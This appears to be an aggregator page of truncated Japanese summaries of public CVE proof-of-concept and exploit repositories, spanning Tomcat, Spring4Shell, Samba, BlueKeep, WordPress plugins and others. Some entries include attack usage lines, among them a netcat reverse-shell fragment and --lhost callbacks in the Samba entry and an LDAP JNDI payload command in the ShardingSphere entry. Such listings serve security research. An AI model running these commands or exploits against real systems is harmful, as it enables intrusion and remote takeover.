React2Shell-CVE-Lab

⚛️ React2Shell: CVE-2025-55182 脆弱性ラボ ⚠️ 警告: 意図的に脆弱性を含むアプリケーション このリポジトリには、CVE-2025-55182 React2Shell に対して脆弱になるように特別に構成された Docker 化アプリケーションが含まれています。 このコンテナを本番環境やインターネットに公開されたサーバーにデプロイしないでください 。 適切なネットワーク分離を行わずに、機密データを含むマシン上で実行しないでください 。 このラボは教育目的、セキュリティ研究、CTF シミュレーション 専用です。 🎯 チャレンジ概要 このラボは、Simple Web...

CVE-2017-15944-POC

CVE-2017-15944-POC CVE-2017-15944 Palo Alto Networks ファイアウォールのリモートルートコード実行 のPOC 使用方法 root@kitploit: python panos-poc.py https://panip...

CVE-2026-6960

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | 未認証の任意ファイルアップロード 研究者: Atomic Edge 深刻度: Critical | CVSS: 9.8 | 認証要件: なし ⚠️ v2 — 技術的修正を適用 （コミュニティからのフィードバックに基づく） 詳細は 変更履歴 を参照してください。 概要 BookingPress Pro WordPress プラグイン（バージョン ≤ 5.6）には、重大な未認証の任意ファイルアップロードの脆弱性が存在します。予約送信ハンドラー bookingpressbookappointmentbooking...

CVE-2026-6279

╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 · Avada Builder = 3.15.2 ║ ║ Unauthenticated RCE via calluserfunc ║║ ╚══════════════════════════════════════════════════════════════╝ 📋 概要...

CVE-2023-31902

CVE-2023-31902 — Mobile Mouse 3.6.0.4 リモートコード実行 概要: Mobile Mouseは、ネットワーク経由でスマートフォンをマウス/キーボードとして使えるWindowsアプリケーションです。デフォルトでは認証なしでポート9099（TCP）と35913（WebSocket）で待機します。 この脆弱性により、同じネットワーク上の認証されていない攻撃者が細工したプロトコルメッセージを送信し、Windowsホスト上で任意のコマンドを実行できます。本質的には、ポートへのネットワークアクセスのみを必要とする事前認証RCEです。 2つの攻撃ベクトル:...

CVE-2026-48907-

CVE-2026-48907 — Joomla JCE Editor 認証不要のRCEスキャナー＆エクスプロイト CVSS 10.0 | CWE-284 | CISA KEV | EPSS 80% CVE-2026-48907 用のPythonベースの脆弱性スキャナー＆エクスプロイトツール。Joomla CMS用のJCE（Joomla Content Editor）拡張機能における重大な認証不要のリモートコード実行脆弱性です。 📋 脆弱性の詳細...

CVE-2017-9791

CVE-2017-9791 Apache Struts CVE-2017-9791 リモートコード実行脆弱性用の Metasploit モジュール...

CVE-2017-3241-POC

CVE-2017-3241-POC Java RMI デシリアライゼーション脆弱性の PoC この POC を実行するには、JDK 8 を使用する必要があるでしょう。 クライアント側とサーバー側の両方の Message クラスに注目してください。それらは異なります。その違いがこの脆弱性を理解する鍵です。 Oracle が公開した修正は、開発者に Java セキュリティポリシーでデシリアライゼーションのホワイト/ブラックリストを設定させるというものです。言わせてもらえば、ハッキングされるまでそのリストの存在を知っている開発者がどれだけいるでしょうか？...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Tomcat PUTメソッド任意ファイル書き込み（CVE-2017-12615）GUI脆弱性悪用ツール 脆弱性の説明 2017年9月19日、Apache Tomcat公式は2つの高リスク脆弱性を確認し修正しました。脆弱性のCVE番号はCVE-2017-12615およびCVE-2017-12616です。そのうち、リモートコード実行脆弱性（CVE-2017-12615）は影響範囲：Apache Tomcat 7.0.0 - 7.0.79（7.0.81では不完全な修正） TomcatがWindowsホスト上で動作し、HTTP...

CS4239-Spring4Shell-POC

CS4239-Spring4Shell-POC CVE-2022-22965 Spring4Shell の概念実証 PoC で、CS4239 G410 レポート用です。この PoC を改変し、未パッチおよびパッチ適用済みの挙動を示します。 デモの実行 このリポジトリには、同一のソースコードを持つ2つのサンプルプログラム（Docker化済み）があります。一方は脆弱性のあるバージョンのSpring...

CVE-2024-28397-Js2Py-RCE-Exploit

💡 深掘り: 詳細なテクニカルブリーフィング PDF を読むにはここをクリックしてください。 CVE-2024-28397: Js2Py サンドボックスエスケープペイロードジェネレーター CVE-2024-28397 用のプロフェッショナルなペイロードジェネレーターです。このツールは、js2py サンドボックス バージョン 0.74 以下 をエスケープし、ターゲットシステム上で任意のコマンドを実行するように設計された悪意のある JavaScript コードを生成します。 🚨 脆弱性の詳細 CVE ID: CVE-2024-28397 影響を受けるコンポーネント: Js2Py = 0.74...

CVE-2025-54100

CVE-2025-54100 – PowerShell 応答解析 PoC CVE-2025-54100 が悪意のある HTML 解析を介して Windows PowerShell 5.1 で リモートコード実行 RCE を引き起こすことを示します。 CVE-2025-54100 とは？ 脆弱性の種類: Invoke-WebRequest が -UseBasicParsing パラメータを使用していない 場合のコマンドインジェクションのリスク 深刻度: CVSS 7.8（高） 根本原因: MSHTML ベースの HTML 応答解析により、スクリプトの実行（例:...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 使い方 root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

CVE-2019-0193

CVE-2019-0193 リモートコード実行...

CVE-2019-13025

Connect Box CH7465LG（CVE-2019-13025） 情報 このリポジトリには、ファームウェア CH7465LG-NCIP-6.12.18.24-5p8-NOSH 以前を実行している Connect Box CH7465LG 向けの2つのPoCが含まれています。 詳細については、私のブログ をご覧ください。 使用方法 認証不要のリモートコード実行 $ python3 poc-rce.py 認証不要の情報漏えい $ python3 poc-information-dump.py クレジット xitan 2019...

CVE-2025-24813

説明 このリポジトリは、CVE-2025-24813 Tomcat 最新のRCE再現環境です。 学習研究目的のみに使用してください！ 利用条件 アプリケーションでDefaultServletの書き込み機能が有効になっていること（デフォルトでは無効） アプリケーションがpartial PUTリクエストをサポートしており、悪意のあるシリアライズデータをセッションファイルに書き込めること（デフォルトで有効） アプリケーションがTomcatのファイルセッション永続化を使用し、デフォルトのセッション保存場所を使用していること（追加設定が必要）...

spring-framework-rce

spring-framework-rce CVE-2022-22965 環境要件 1. tomcat8 8 使用方法 1. springframeworkrce-0.0.1-SNAPSHOT.zip をダウンロードして解凍後、名前を ROOT.war に変更します。 2. tomcat 内の webapps フォルダ配下の ROOT フォルダまたは ROOT.war を置き換えます。 3. tomcat 内の bin パスに移動し、.\catalina.bat run を実行します。 テスト方法 省略 結果...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708（BlueKeep）の初期エクスプロイト CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free RDPのtermdd.sysドライバは、内部専用チャネルMST120へのバインディングを適切に処理しないため、不正なDisconnect Provider...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2022-30781

🍵 CVE-2022-30781 Gitea リポジトリマイグレーションにおけるリモートコマンド実行のエクスプロイト。 使い方 1. このリポジトリ内のファイルを使ってHTTPファイルシステムサーバーを実行します。 2. api/v1/repos/e99/exp/pulls/1/index.html L96 で実行するコマンドを編集します。 3. Giteaインスタンス上で、URL http:///e99/exp を使ってリモートリポジトリをマイグレーションします。 4. Pwnned! 参考 https://tttang.com/archive/1607/ 中国語 クレジット...